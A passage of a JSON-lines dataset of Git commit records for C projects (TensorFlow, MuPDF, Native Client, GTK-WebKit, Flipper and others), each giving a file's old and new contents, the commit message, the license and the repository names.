VISTK_IMAGE_INSTANTIATE_FLOAT(cls) \\\n  template class cls<float>;               \\\n  template class cls<double>\n\n#define VISTK_IMAGE_INSTANTIATE(cls) \\\n  VISTK_IMAGE_INSTANTIATE_INT(cls);  \\\n  VISTK_IMAGE_INSTANTIATE_FLOAT(cls)\n\n#endif \/\/ VISTK_IMAGE_INSTANTIATE_H\n","subject":"Split int from float instantiations","message":"Split int from float instantiations\n","lang":"C","license":"bsd-3-clause","repos":"linus-sherrill\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit,Kitware\/sprokit"}
{"commit":"e2e0d27071f3314068b5adf990d54dd978ce966b","old_file":"libctest.h","new_file":"libctest.h","old_contents":"#ifndef __testing__\n#define __testing__\n\nextern void ct_init(const char * module_name);\n\nextern void ct_report(const char * test_name, int success);\n\nextern void ct_terminate(void);\n\n#endif\n","new_contents":"#ifndef __ctest__\n#define __ctest__\n\nextern void ct_init(const char * module_name);\n\nextern void ct_report(const char * test_name, int success);\n\nextern void ct_print_stats(void);\n\nextern void ct_terminate(void);\n\nextern void ct_print_stats_and_terminate(void);\n\n#endif\n","subject":"Split statistics printing from memory cleanup","message":"Split statistics printing from memory cleanup\n\nCreated ct_print_stats that outputs stats without freeing\nmemory, and ct_print_stats_and_terminate which does both, along with\nct_terminate which only frees memory.\n","lang":"C","license":"unlicense","repos":"Mikko-Finell\/ctest"}
{"commit":"d09c68789741abff55f51ac60a8600d9ee0264cc","old_file":"tensorflow\/core\/platform\/init_main.h","new_file":"tensorflow\/core\/platform\/init_main.h","old_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_INIT_MAIN_H_\n#define TENSORFLOW_CORE_PLATFORM_INIT_MAIN_H_\n\nnamespace tensorflow {\nnamespace port {\n\n\/\/ Platform-specific initialization routine that may be invoked by a\n\/\/ main() program that uses TensorFlow.\n\/\/\n\/\/ Default implementation does nothing.\nvoid InitMain(const char* usage, int* argc, char*** argv);\n\n}  \/\/ namespace port\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_INIT_MAIN_H_\n","new_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_INIT_MAIN_H_\n#define TENSORFLOW_CORE_PLATFORM_INIT_MAIN_H_\n\nnamespace tensorflow {\nnamespace port {\n\n\/\/ Platform-specific initialization routine that should be invoked by a\n\/\/ main() program that uses TensorFlow.\n\/\/ This performs necessary initialization on some platforms; TensorFlow\n\/\/ may not work unless it has been called.\nvoid InitMain(const char* usage, int* argc, char*** argv);\n\n}  \/\/ namespace port\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_INIT_MAIN_H_\n","subject":"Clarify the need for calling tensorflow::port::InitMain() before using the rest of TensorFlow.","message":"Clarify the need for calling tensorflow::port::InitMain() before using the rest of TensorFlow.\n\nPiperOrigin-RevId: 219185259\n","lang":"C","license":"apache-2.0","repos":"brchiu\/tensorflow,freedomtan\/tensorflow,chemelnucfin\/tensorflow,freedomtan\/tensorflow,DavidNorman\/tensorflow,dongjoon-hyun\/tensorflow,ppwwyyxx\/tensorflow,ghchinoy\/tensorflow,cxxgtxy\/tensorflow,karllessard\/tensorflow,DavidNorman\/tensorflow,asimshankar\/tensorflow,aam-at\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,Bismarrck\/tensorflow,kevin-coder\/tensorflow-fork,jbedorf\/tensorflow,apark263\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow,aam-at\/tensorflow,cxxgtxy\/tensorflow,petewarden\/tensorflow,hfp\/tensorflow-xsmm,renyi533\/tensorflow,chemelnucfin\/tensorflow,gautam1858\/tensorflow,kevin-coder\/tensorflow-fork,brchiu\/tensorflow,ageron\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,davidzchen\/tensorflow,chemelnucfin\/tensorflow,Bismarrck\/tensorflow,frreiss\/tensorflow-fred,gunan\/tensorflow,seanli9jan\/tensorflow,apark263\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,xzturn\/tensorflow,annarev\/tensorflow,seanli9jan\/tensorflow,yongtang\/tensorflow,petewarden\/tensorflow,ppwwyyxx\/tensorflow,ghchinoy\/tensorflow,gautam1858\/tensorflow,aam-at\/tensorflow,asimshankar\/tensorflow,paolodedios\/tensorflow,dongjoon-hyun\/tensorflow,arborh\/tensorflow,seanli9jan\/tensorflow,aldian\/tensorflow,brchiu\/tensorflow,chemelnucfin\/tensorflow,jendap\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,annarev\/tensorflow,jbedorf\/tensorflow,DavidNorman\/tensorflow,chemelnucfin\/tensorflow,Intel-Corporation\/tensorflow,Intel-tensorflow\/tensorflow,Bismarrck\/tensorflow,gunan\/tensorflow,freedomtan\/tensorflow,aldian\/tensorflow,cxxgtxy\/tensorflow,asimshankar\/tensorflow,gautam1858\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,brchiu\/tensorflow,frreiss\/tensorflow-fred,ppwwyyxx\/tensorflow,jendap\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,ppwwyyxx\/tensorflow,DavidNorman\/tensorflow,arborh\/tensorflow,gunan\/tensorflow,arborh\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow,DavidNorman\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Bismarrck\/tensorflow,Intel-tensorflow\/tensorflow,sarvex\/tensorflow,alsrgv\/tensorflow,karllessard\/tensorflow,alsrgv\/tensorflow,davidzchen\/tensorflow,xzturn\/tensorflow,theflofly\/tensorflow,sarvex\/tensorflow,seanli9jan\/tensorflow,seanli9jan\/tensorflow,ageron\/tensorflow,xzturn\/tensorflow,theflofly\/tensorflow,freedomtan\/tensorflow,ppwwyyxx\/tensorflow,hfp\/tensorflow-xsmm,kevin-coder\/tensorflow-fork,chemelnucfin\/tensorflow,jendap\/tensorflow,asimshankar\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jbedorf\/tensorflow,seanli9jan\/tensorflow,ghchinoy\/tensorflow,jendap\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,frreiss\/tensorflow-fred,sarvex\/tensorflow,frreiss\/tensorflow-fred,renyi533\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,DavidNorman\/tensorflow,hfp\/tensorflow-xsmm,tensorflow\/tensorflow-pywrap_saved_model,theflofly\/tensorflow,seanli9jan\/tensorflow,paolodedios\/tensorflow,asimshankar\/tensorflow,DavidNorman\/tensorflow,jendap\/tensorflow,renyi533\/tensorflow,Bismarrck\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,kevin-coder\/tensorflow-fork,paolodedios\/tensorflow,tensorflow\/tensorflow,jendap\/tensorflow,dongjoon-hyun\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,freedomtan\/tensorflow,theflofly\/tensorflow,davidzchen\/tensorflow,asimshankar\/tensorflow,xzturn\/tensorflow,brchiu\/tensorflow,Intel-tensorflow\/tensorflow,apark263\/tensorflow,hehongliang\/tensorflow,gunan\/tensorflow,annarev\/tensorflow,frreiss\/tensorflow-fred,gunan\/tensorflow,petewarden\/tensorflow,annarev\/tensorflow,freedomtan\/tensorflow,dongjoon-hyun\/tensorflow,gautam1858\/tensorflow,renyi533\/tensorflow,renyi533\/tensorflow,aldian\/tensorflow,chemelnucfin\/tensorflow,aldian\/tensorflow,annarev\/tensorflow,kevin-coder\/tensorflow-fork,davidzchen\/tensorflow,Intel-Corporation\/tensorflow,jbedorf\/tensorflow,jbedorf\/tensorflow,davidzchen\/tensorflow,kevin-coder\/tensorflow-fork,frreiss\/tensorflow-fred,ghchinoy\/tensorflow,alsrgv\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,asimshankar\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Bismarrck\/tensorflow,kevin-coder\/tensorflow-fork,Bismarrck\/tensorflow,freedomtan\/tensorflow,ppwwyyxx\/tensorflow,kevin-coder\/tensorflow-fork,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,aam-at\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,hfp\/tensorflow-xsmm,adit-chandra\/tensorflow,dongjoon-hyun\/tensorflow,ageron\/tensorflow,sarvex\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,seanli9jan\/tensorflow,ppwwyyxx\/tensorflow,jhseu\/tensorflow,petewarden\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gunan\/tensorflow,DavidNorman\/tensorflow,ageron\/tensorflow,annarev\/tensorflow,sarvex\/tensorflow,aldian\/tensorflow,jbedorf\/tensorflow,jbedorf\/tensorflow,Intel-tensorflow\/tensorflow,arborh\/tensorflow,brchiu\/tensorflow,renyi533\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,renyi533\/tensorflow,hfp\/tensorflow-xsmm,Intel-tensorflow\/tensorflow,dongjoon-hyun\/tensorflow,ageron\/tensorflow,adit-chandra\/tensorflow,brchiu\/tensorflow,arborh\/tensorflow,theflofly\/tensorflow,arborh\/tensorflow,Intel-Corporation\/tensorflow,hfp\/tensorflow-xsmm,Intel-tensorflow\/tensorflow,gunan\/tensorflow,aam-at\/tensorflow,theflofly\/tensorflow,alsrgv\/tensorflow,brchiu\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow,theflofly\/tensorflow,davidzchen\/tensorflow,apark263\/tensorflow,aam-at\/tensorflow,ppwwyyxx\/tensorflow,jendap\/tensorflow,jbedorf\/tensorflow,hfp\/tensorflow-xsmm,Intel-Corporation\/tensorflow,arborh\/tensorflow,petewarden\/tensorflow,adit-chandra\/tensorflow,ghchinoy\/tensorflow,jbedorf\/tensorflow,karllessard\/tensorflow,apark263\/tensorflow,jhseu\/tensorflow,hehongliang\/tensorflow,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,frreiss\/tensorflow-fred,chemelnucfin\/tensorflow,yongtang\/tensorflow,alsrgv\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,asimshankar\/tensorflow,aam-at\/tensorflow,jhseu\/tensorflow,hehongliang\/tensorflow,asimshankar\/tensorflow,yongtang\/tensorflow,theflofly\/tensorflow,adit-chandra\/tensorflow,Bismarrck\/tensorflow,karllessard\/tensorflow,freedomtan\/tensorflow,ageron\/tensorflow,seanli9jan\/tensorflow,jendap\/tensorflow,cxxgtxy\/tensorflow,Intel-Corporation\/tensorflow,arborh\/tensorflow,hehongliang\/tensorflow,Intel-Corporation\/tensorflow,freedomtan\/tensorflow,Bismarrck\/tensorflow,gunan\/tensorflow,jbedorf\/tensorflow,yongtang\/tensorflow,chemelnucfin\/tensorflow,dongjoon-hyun\/tensorflow,petewarden\/tensorflow,jbedorf\/tensorflow,alsrgv\/tensorflow,sarvex\/tensorflow,apark263\/tensorflow,paolodedios\/tensorflow,xzturn\/tensorflow,apark263\/tensorflow,ageron\/tensorflow,theflofly\/tensorflow,gautam1858\/tensorflow,davidzchen\/tensorflow,alsrgv\/tensorflow,annarev\/tensorflow,aldian\/tensorflow,dongjoon-hyun\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,ghchinoy\/tensorflow,brchiu\/tensorflow,aam-at\/tensorflow,davidzchen\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,jhseu\/tensorflow,xzturn\/tensorflow,apark263\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,Bismarrck\/tensorflow,hehongliang\/tensorflow,seanli9jan\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,Intel-Corporation\/tensorflow,paolodedios\/tensorflow,ageron\/tensorflow,apark263\/tensorflow,arborh\/tensorflow,jendap\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,kevin-coder\/tensorflow-fork,asimshankar\/tensorflow,adit-chandra\/tensorflow,aldian\/tensorflow,jhseu\/tensorflow,davidzchen\/tensorflow,hfp\/tensorflow-xsmm,apark263\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,freedomtan\/tensorflow,brchiu\/tensorflow,gunan\/tensorflow,cxxgtxy\/tensorflow,petewarden\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,hfp\/tensorflow-xsmm,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,xzturn\/tensorflow,alsrgv\/tensorflow,tensorflow\/tensorflow,aam-at\/tensorflow,Intel-Corporation\/tensorflow,xzturn\/tensorflow,karllessard\/tensorflow,aam-at\/tensorflow,ageron\/tensorflow,renyi533\/tensorflow,davidzchen\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,chemelnucfin\/tensorflow,ghchinoy\/tensorflow,adit-chandra\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,dongjoon-hyun\/tensorflow,karllessard\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,arborh\/tensorflow,dongjoon-hyun\/tensorflow,asimshankar\/tensorflow,paolodedios\/tensorflow,alsrgv\/tensorflow,renyi533\/tensorflow,ghchinoy\/tensorflow,yongtang\/tensorflow,hfp\/tensorflow-xsmm,gautam1858\/tensorflow,yongtang\/tensorflow,DavidNorman\/tensorflow,hfp\/tensorflow-xsmm,apark263\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,renyi533\/tensorflow,ageron\/tensorflow,ageron\/tensorflow,adit-chandra\/tensorflow,jhseu\/tensorflow,renyi533\/tensorflow,jhseu\/tensorflow,arborh\/tensorflow,annarev\/tensorflow,kevin-coder\/tensorflow-fork,ageron\/tensorflow,DavidNorman\/tensorflow,gautam1858\/tensorflow,cxxgtxy\/tensorflow,theflofly\/tensorflow,gautam1858\/tensorflow,adit-chandra\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,dongjoon-hyun\/tensorflow,adit-chandra\/tensorflow,tensorflow\/tensorflow,alsrgv\/tensorflow,Bismarrck\/tensorflow,kevin-coder\/tensorflow-fork,adit-chandra\/tensorflow,adit-chandra\/tensorflow,tensorflow\/tensorflow,cxxgtxy\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow,alsrgv\/tensorflow,chemelnucfin\/tensorflow,seanli9jan\/tensorflow,aam-at\/tensorflow,Intel-tensorflow\/tensorflow,xzturn\/tensorflow,davidzchen\/tensorflow,DavidNorman\/tensorflow,theflofly\/tensorflow,adit-chandra\/tensorflow,ppwwyyxx\/tensorflow,hehongliang\/tensorflow,ghchinoy\/tensorflow,brchiu\/tensorflow,sarvex\/tensorflow,hehongliang\/tensorflow,jendap\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,alsrgv\/tensorflow,frreiss\/tensorflow-fred,ppwwyyxx\/tensorflow,theflofly\/tensorflow,ppwwyyxx\/tensorflow,DavidNorman\/tensorflow,gunan\/tensorflow,jbedorf\/tensorflow,freedomtan\/tensorflow,ghchinoy\/tensorflow,karllessard\/tensorflow,arborh\/tensorflow,aldian\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,annarev\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,renyi533\/tensorflow,jendap\/tensorflow,annarev\/tensorflow,xzturn\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,gunan\/tensorflow"}
{"commit":"4d1a3e0b677dd00a5233ea50d944b11079468483","old_file":"ports\/gtk-webkit\/next-gtk-webkit.c","new_file":"ports\/gtk-webkit\/next-gtk-webkit.c","old_contents":"\/*\nCopyright © 2018-2019 Atlas Engineer LLC.\nUse of this file is governed by the license that can be found in LICENSE.\n*\/\n\n#include <gtk\/gtk.h>\n#include <stdlib.h>\n#include \"server.h\"\n\nstatic void on_name_acquired(GDBusConnection *connection,\n\tconst gchar *name,\n\tgpointer user_data) {\n\tg_message(\"Starting platform port\");\n}\n\nstatic void on_name_lost(GDBusConnection *_connection,\n\tconst gchar *_name,\n\tgpointer _user_data) {\n\tg_message(\"Platform port disconnected\");\n\t\/\/ TODO: Call stop_server here?\n\texit(1);\n}\n\nint main(int argc, char *argv[]) {\n\t\/\/ TODO: Use GtkApplication?\n\tguint owner_id = g_bus_own_name(G_BUS_TYPE_SESSION,\n\t\t\tPLATFORM_PORT_NAME,\n\t\t\tG_BUS_NAME_OWNER_FLAGS_NONE,\n\t\t\tstart_server,\n\t\t\ton_name_acquired,\n\t\t\ton_name_lost,\n\t\t\tNULL,\n\t\t\tNULL);\n\n\t\/\/ TODO: Start the RPC server first?  If GUI is started, then we can\n\t\/\/ report RPC startup issues graphically.\n\n\tgtk_main();\n\n\tstop_server();\n\n\tg_bus_unown_name(owner_id);\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"\/*\nCopyright © 2018-2019 Atlas Engineer LLC.\nUse of this file is governed by the license that can be found in LICENSE.\n*\/\n\n#include <gtk\/gtk.h>\n#include <stdlib.h>\n#include \"server.h\"\n\nstatic void on_name_acquired(GDBusConnection *connection,\n\tconst gchar *name,\n\tgpointer user_data) {\n\tg_message(\"Starting platform port\");\n}\n\nstatic void on_name_lost(GDBusConnection *_connection,\n\tconst gchar *_name,\n\tgpointer _user_data) {\n\tg_message(\"Platform port disconnected\");\n\t\/\/ TODO: Call stop_server here?\n\texit(1);\n}\n\nint main(int argc, char *argv[]) {\n\t\/\/ It's safer to initialize GTK before the server is started.  In particular,\n\t\/\/ without it the program would crash if hardware acceleration is disabled\n\t\/\/ (e.g. with the WEBKIT_DISABLE_COMPOSITING_MODE=1 environment variable).\n\tgtk_init(NULL, NULL);\n\t\/\/ TODO: Use GtkApplication?\n\n\tguint owner_id = g_bus_own_name(G_BUS_TYPE_SESSION,\n\t\t\tPLATFORM_PORT_NAME,\n\t\t\tG_BUS_NAME_OWNER_FLAGS_NONE,\n\t\t\tstart_server,\n\t\t\ton_name_acquired,\n\t\t\ton_name_lost,\n\t\t\tNULL,\n\t\t\tNULL);\n\n\t\/\/ TODO: Start the RPC server first?  If GUI is started, then we can\n\t\/\/ report RPC startup issues graphically.\n\n\tgtk_main();\n\n\tstop_server();\n\n\tg_bus_unown_name(owner_id);\n\treturn EXIT_SUCCESS;\n}\n","subject":"Fix crash when hardware acceleration is disabled.","message":"ports\/gtk-webkit: Fix crash when hardware acceleration is disabled.\n","lang":"C","license":"bsd-3-clause","repos":"jmercouris\/NeXT,jmercouris\/NeXT"}
{"commit":"184509531a7477bfa89bc075e3873a2a504a9448","old_file":"tests\/gc_instrumentation\/gc_noinst.c","new_file":"tests\/gc_instrumentation\/gc_noinst.c","old_contents":"\/*\n * Copyright 2010 The Native Client Authors.  All rights reserved.\n * Use of this source code is governed by a BSD-style license that can\n * be found in the LICENSE file.\n *\/\n\n\/*\n * gc_noinst.c : Functions that shouldn't be instrumented by the compiler\n *\/\n\n__thread unsigned int thread_suspend_if_needed_count = 0;\n\n\/* TODO(elijahtaylor): This will need to be changed\n *  when the compiler instrumentation changes.\n *\/\nvoid __nacl_suspend_thread_if_needed() {\n  thread_suspend_if_needed_count++;\n}\n\n","new_contents":"\/*\n * Copyright (c) 2011 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/*\n * gc_noinst.c : Functions that shouldn't be instrumented by the compiler\n *\/\n\n__thread unsigned int thread_suspend_if_needed_count = 0;\n\n\/* TODO(elijahtaylor): This will need to be changed\n *  when the compiler instrumentation changes.\n *\/\nvolatile int __nacl_thread_suspension_needed = 1;\n\nvoid __nacl_suspend_thread_if_needed() {\n  thread_suspend_if_needed_count++;\n}\n","subject":"Fix the gc_instrumentation test on toolchain bots.","message":"Fix the gc_instrumentation test on toolchain bots.\n\nThe compiler now inserts explicit references to the suspension flag, which then\nfails to link when the flag is not present.\n\nBUG=none\nTEST=run_gc_instrumentation_test # with freshly uploaded toolchain\n\nReview URL: http:\/\/codereview.chromium.org\/8336018\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@6962 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"nacl-webkit\/native_client,nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client"}
{"commit":"6cfdf1a8a98e6fd02227724fb6cab225671cb016","old_file":"iOS\/FBDefines\/FBMacros.h","new_file":"iOS\/FBDefines\/FBMacros.h","old_contents":"\/*\t\n *  Copyright (c) 2004-present, Facebook, Inc.\t\n *\t\n *  This source code is licensed under the MIT license found in the LICENSE\t\n *  file in the root directory of this source tree.\t\n *\t\n *\/\t\n#ifndef FB_SK_MACROS_H\t\n #define FB_SK_MACROS_H\t\n     #define FB_LINK_REQUIRE_(NAME, UNIQUE)\t\n    #define FB_LINKABLE(NAME)\t\n    #define FB_LINK_REQUIRE(NAME)\t\n #endif\n","new_contents":"\/*\n *  Copyright (c) 2004-present, Facebook, Inc.\n *\n *  This source code is licensed under the MIT license found in the LICENSE\n *  file in the root directory of this source tree.\n *\n *\/\n#ifndef FB_SK_MACROS_H\n #define FB_SK_MACROS_H\n    #define FB_LINK_REQUIRE_(NAME)\n    #define FB_LINKABLE(NAME)\n    #define FB_LINK_REQUIRE(NAME)\n #endif\n","subject":"Delete second argument to FB_LINK_REQUIRE_","message":"Delete second argument to FB_LINK_REQUIRE_\n\nSummary: It is now always NAME.\n\nReviewed By: adamjernst\n\nDifferential Revision: D13577665\n\nfbshipit-source-id: 9d9330fd17b7e214ef807760d0314c34bd06ebd5\n","lang":"C","license":"mit","repos":"facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper,facebook\/flipper"}
{"commit":"b41ede1d9b93268b96e686ca3299dd20624a9812","old_file":"strdump.c","new_file":"strdump.c","old_contents":"","new_contents":"\/* strdump.c -- similar to hexdump but with ascii strings *\/\n\n#include <stdio.h>\n#include <string.h>\n\nint\nstrdump(FILE *fo, FILE *fi)\n{\n    int c, n;\n\n    n = 0;\n    fputs(\"\\\"\", fo);\n    c = fgetc(fi);\n    while (c != -1)\n    {\n\tif (c == '\\n' || c == '\\r')\n\t    fputs(\"\\\\n\\\"\\n\\\"\", fo);\n\telse\n\t    putc(c, fo);\n\tc = fgetc(fi);\n\tn ++;\n    }\n    fputs(\"\\\"\\n\", fo);\n    return n;\n}\n\n\nint\nmain(int argc, char **argv)\n{\n    FILE *fo;\n    FILE *fi;\n    char name[256];\n    char *realname;\n    char *p;\n    int i, len;\n\n    if (argc < 3)\n    {\n\tfprintf(stderr, \"usage: hexdump output.c input.dat\\n\");\n\treturn 1;\n    }\n\n    fo = fopen(argv[1], \"wb\");\n    if (!fo)\n    {\n\tfprintf(stderr, \"hexdump: could not open output file\\n\");\n\treturn 1;\n    }\n\n    for (i = 2; i < argc; i++)\n    {\n\tfi = fopen(argv[i], \"rb\");\n\tif (!fi)\n\t{\n\t    fprintf(stderr, \"hexdump: could not open input file\\n\");\n\t    return 1;\n\t}\n\n\trealname = strrchr(argv[i], '\/');\n\tif (!realname)\n\t    realname = strrchr(argv[i], '\\\\');\n\tif (realname)\n\t    realname ++;\n\telse\n\t    realname = argv[i];\n\n\tstrcpy(name, argv[i]);\n\tp = name;\n\twhile (*p)\n\t{\n\t    if ((*p == '\/') || (*p == '.') || (*p == '\\\\') || (*p == '-'))\n\t\t*p = '_';\n\t    p ++;\n\t}\n\n\tfprintf(fo, \"const char %s_name[] = \\\"%s\\\";\\n\", name, realname);\n\tfprintf(fo, \"const char %s_buf[] = {\\n\", name);\n\n\tlen = strdump(fo, fi);\n\n\tfprintf(fo, \"};\\n\");\n\tfprintf(fo, \"const int %s_len = %d;\\n\", name, len);\n\tfprintf(fo, \"\\n\");\n\n\tfclose(fi);\n    }\n\n    return 0;\n}\n\n","subject":"Add a tool similar to hexdump, but for text files.","message":"Add a tool similar to hexdump, but for text files.\n","lang":"C","license":"agpl-3.0","repos":"lustersir\/MuPDF,hackqiang\/mupdf,TamirEvan\/mupdf,lolo32\/mupdf-mirror,FabriceSalvaire\/mupdf-cmake,ylixir\/mupdf,ziel\/mupdf,geetakaur\/NewApps,PuzzleFlow\/mupdf,MokiMobility\/muPDF,asbloomf\/mupdf,hjiayz\/forkmupdf,tribals\/mupdf,crow-misia\/mupdf,FabriceSalvaire\/mupdf-cmake,TamirEvan\/mupdf,MokiMobility\/muPDF,xiangxw\/mupdf,FabriceSalvaire\/mupdf-v1.3,flipstudio\/MuPDF,ylixir\/mupdf,seagullua\/MuPDF,zeniko\/mupdf,poor-grad-student\/mupdf,hxx0215\/MuPDFMirror,andyhan\/mupdf,seagullua\/MuPDF,cgogolin\/penandpdf,clchiou\/mupdf,loungeup\/mupdf,wzhsunn\/mupdf,zeniko\/mupdf,michaelcadilhac\/pdfannot,wzhsunn\/mupdf,derek-watson\/mupdf,TamirEvan\/mupdf,muennich\/mupdf,PuzzleFlow\/mupdf,robamler\/mupdf-nacl,robamler\/mupdf-nacl,TamirEvan\/mupdf,tophyr\/mupdf,TamirEvan\/mupdf,lamemate\/mupdf,asbloomf\/mupdf,tophyr\/mupdf,zeniko\/mupdf,lustersir\/MuPDF,crow-misia\/mupdf,seagullua\/MuPDF,hjiayz\/forkmupdf,zeniko\/mupdf,benoit-pierre\/mupdf,michaelcadilhac\/pdfannot,ArtifexSoftware\/mupdf,ArtifexSoftware\/mupdf,wzhsunn\/mupdf,andyhan\/mupdf,kobolabs\/mupdf,poor-grad-student\/mupdf,andyhan\/mupdf,benoit-pierre\/mupdf,derek-watson\/mupdf,loungeup\/mupdf,nqv\/mupdf,hackqiang\/mupdf,nqv\/mupdf,FabriceSalvaire\/mupdf-v1.3,lolo32\/mupdf-mirror,muennich\/mupdf,wild0\/opened_mupdf,hjiayz\/forkmupdf,michaelcadilhac\/pdfannot,derek-watson\/mupdf,kobolabs\/mupdf,github201407\/MuPDF,Kalp695\/mupdf,TamirEvan\/mupdf,ArtifexSoftware\/mupdf,crow-misia\/mupdf,issuestand\/mupdf,asbloomf\/mupdf,hxx0215\/MuPDFMirror,kobolabs\/mupdf,benoit-pierre\/mupdf,isavin\/humblepdf,andyhan\/mupdf,ArtifexSoftware\/mupdf,PuzzleFlow\/mupdf,poor-grad-student\/mupdf,seagullua\/MuPDF,benoit-pierre\/mupdf,isavin\/humblepdf,muennich\/mupdf,michaelcadilhac\/pdfannot,ylixir\/mupdf,github201407\/MuPDF,wild0\/opened_mupdf,loungeup\/mupdf,Kalp695\/mupdf,lamemate\/mupdf,andyhan\/mupdf,wild0\/opened_mupdf,sebras\/mupdf,robamler\/mupdf-nacl,robamler\/mupdf-nacl,Kalp695\/mupdf,clchiou\/mupdf,zeniko\/mupdf,ArtifexSoftware\/mupdf,robamler\/mupdf-nacl,xiangxw\/mupdf,poor-grad-student\/mupdf,lolo32\/mupdf-mirror,sebras\/mupdf,lustersir\/MuPDF,xiangxw\/mupdf,issuestand\/mupdf,issuestand\/mupdf,isavin\/humblepdf,samturneruk\/mupdf_secure_android,tophyr\/mupdf,flipstudio\/MuPDF,PuzzleFlow\/mupdf,wild0\/opened_mupdf,Kalp695\/mupdf,andyhan\/mupdf,asbloomf\/mupdf,ziel\/mupdf,knielsen\/mupdf,ziel\/mupdf,fluks\/mupdf-x11-bookmarks,kobolabs\/mupdf,samturneruk\/mupdf_secure_android,ccxvii\/mupdf,lolo32\/mupdf-mirror,tribals\/mupdf,cgogolin\/penandpdf,kobolabs\/mupd